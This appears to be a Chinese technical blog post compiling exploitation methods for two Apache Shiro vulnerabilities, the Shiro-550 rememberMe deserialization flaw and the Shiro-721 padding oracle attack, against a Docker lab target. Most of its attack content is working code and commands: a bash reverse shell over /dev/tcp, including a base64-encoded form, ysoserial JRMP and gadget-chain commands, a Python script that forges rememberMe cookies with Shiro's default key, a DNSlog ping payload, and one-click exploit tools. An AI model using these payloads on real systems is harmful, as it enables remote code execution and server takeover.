java反序列化漏洞利用工具_Shiro反序列化漏洞利用汇总

本文详细介绍了Apache Shiro框架中的两个重要安全漏洞:Shiro-550反序列化漏洞和Shiro-721 Padding Oracle攻击。针对这两个漏洞,文章不仅解释了其原理和影响版本,还提供了详细的漏洞利用步骤及自动化检测工具。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

  • 1、Shiro rememberMe反序列化漏洞(Shiro-550)
  • 1.1 漏洞原理
  • 1.2 影响版本
  • 1.3 漏洞特征
  • 1.4 漏洞利用
  • 1.4.1 利用方式一:反弹shell
  • 1.4.2 利用方式二:写入文件
  • 2、Shiro Padding Oracle Attack(Shiro-721)
  • 2.1 漏洞原理
  • 2.2 影响版本
  • 2.3 漏洞利用
  • 3、一键自动化漏洞利用
  • 3.1 Shiro-550
  • 3.2 Shiro-721

1、Shiro rememberMe反序列化漏洞(Shiro-550)

1.1 漏洞原理:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

1.2 影响版本:Apache Shiro < 1.2.4

1.3 特征判断:返回包中包含rememberMe=deleteMe字段。

1.4 漏洞利用

环境搭建

获取docker镜像
docker pull medicean/vulapps:s_shiro_1

启动docker镜像:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

工具准备

1、maven配置

sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3

在/etc/profile末尾添加maven环境变量:

export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile

2、下载ysoserial并打包

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

生成的工具在ysoserial/target文件中。

1、检查是否存在默认的key。

这里我们使用一个 Shiro_exploit,获取key

Github项目地址:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://192.168.172.129:8080

5dd9cf8e51929b9abe0828f1b6053bd7.png

通过获取到的key,常见的漏洞利用方式有两种:反弹shell和写入文件。

漏洞利用方式一:反弹shell

1、制作反弹shell代码

监听本地端口

nc -lvp 1234

Java Runtime 配合 bash 编码,

在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666

05731b6a7e6a5190e7400ed701fdfc93.png

shiro.py代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4、构造数据包,伪造cookie,发送Payload.

5315bdab5769703aab8b384c89b0cc81.png

nc监听端口,shell成功反弹:

b2579210e41b2b331f668b56200858d2.png

java监听接口,查看服务器连接情况:

579d3a01a065582c13f8d4f3782243f7.png

漏洞利用方式二:写入文件

1、生成poc.ser文件

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

2、使用Shiro内置的默认密钥对Payload进行加密:

java调试:

8c9374aa46bd42c2d869cb3152264fe0.png

调试代码:

package shiro;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

3、发送rememberMe Cookie,即可成功执行命令。

4b177995ce3b6fac35fcdd70498aa0f6.png

在目标服务器/tmp目录下,生成success文件。

16504788cb84699728fbdd8dab6c4367.png

2、Shiro Padding Oracle Attack(Shiro-721)

漏洞原理:

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

影响版本:Apache Shiro < 1.4.2版本。

漏洞利用:

1、登录Shiro网站,从cookie中获得rememberMe字段的值。

132f5a2527898308bbca272fc3b39367.png

2、利用DNSlog探测,通过ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。

github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

ea6841b177de20fc9b516c6bbddbec84.png

爆破成功,输出Result:

66684fa854af8482723f1be5c53384fa.png

4、使用构造的rememberMe攻击字符串重新请求网站

2003ff166f3d1afa9fcdc2f92be715e9.png

5、成功触发Payload,在DNSLog获取到目标IP。

c4a683d66f8612d3da3b46ee95cce6cf.png

3、一键自动化漏洞利用工具

ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。

Github项目地址:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

1caf0ef4e685109631ac71d4eb2b4da0.png

Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型

c31c8f41c681295f90b0ad86679b0c31.png

Shiro-721漏洞利用:

1、登录Shiro网站,从cookie中获得rememberMe字段的值。

2、通过ysoserial反序列漏洞利用工具生成攻击payload作为plaintext;

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'touch /tmp/test' > payload.class

3、使用rememberMe值作为prefix进行Padding Oracle攻击,加密payload的plaintext得到rememberMe攻击字符串。

Github项目地址:https://github.com/Geekby/shiro_rce_exp

933bc926698b0f2799257f8c7d8b36c5.png

97cb3f3c1e14c18c986ab3977318cf9f.png

4、使用构造的rememberMe攻击字符串重新请求网站,进行反序列化攻击,最终导致远程任意命令执行。

78c819b04ded072a7d803be3866007a0.png

5、检查一下执行结果,可以看到成功创建了一个test文件。

一键检测工具:ShiroScan

Shiro<=1.2.4反序列化,一键检测工具,可以检测出漏洞,但并不知道漏洞利用模块和key的值。

Github项目地址:https://github.com/sv3nbeast/ShiroScan

6f142f6b8ff9056c58d492c144920901.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值